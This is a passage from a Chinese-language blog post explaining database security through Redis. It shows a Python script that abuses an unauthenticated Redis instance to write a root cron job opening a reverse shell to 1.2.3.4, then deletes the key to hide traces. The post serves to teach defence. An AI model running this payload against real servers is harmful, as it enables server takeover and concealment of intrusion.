本文已收录GitHub,更有互联网大厂面试真题,面试攻略,高效学习资料等
说到数据库,你肯定会说:“数据库是我最熟悉的工具了。利用它,我能够设计复杂的表结构、写出炫酷的 SQL 语句、优化高并发场景下的读写性能。”当然,我们的日常工作离不开数据库的使用。而且,数据库中储存的大量机密信息,对于公司和用户都至关重要。那关于数据库的安全你知道多少呢?你知道数据库是如何进行认证的吗?使用数据库交换数据的过程是安全的吗?假如黑客连入了数据库,又会发生什么呢?
今天,我就以两种比较常见的数据库 Redis 和 MySQL 为例,来和你一起探讨数据库的安全。
一、Redis安全
我们首先来看 Redis。我们都知道,Redis 是一个高性能的 KV 结构的数据库。Redis 的设计初衷是在可信的环境中,提供高性能的数据库服务。因此,Redis 在设计上没有过多地考虑安全性,甚至可以说它刻意地牺牲了一定的安全性,来获取更高的性能。
那在安全性不高的情况下,黑客连入 Redis 能做什么呢?最直接的,黑客能够任意修改Redis 中的数据。比如,通过一个简单 FLUSHALL 命令,黑客就能够清空整个 Redis 的数据了。
复杂一些的,黑客还可以发起权限提升,通过 Redis 在服务器上执行命令,从而控制整个服务器。但是,Redis 本身不提供执行命令的功能,那么黑客是如何让 Redis 执行命令的呢?我们一起来看一下具体的代码流程。
r=redis.Redis(host=10.0.0.1,port=6379,db=0,socket_timeout=10)
payload='nn*/1****/bin/bash-i>&/dev/tcp/1.2.3.4/80800>&1nn'
path='/var/spool/cron'
name='root'
key='payload'
r.set(key,payload)
r.config_set('dir',path)
r.config_set('dbfilename',name)
r.save()
r.delete(key)#清除痕迹
r.config_set('dir','/tmp')
针对这个过程,我来详细解释一下,你可以结合代码来看。
- 黑客连入 Redis。
- 黑客写入一个任意的 Key,对应的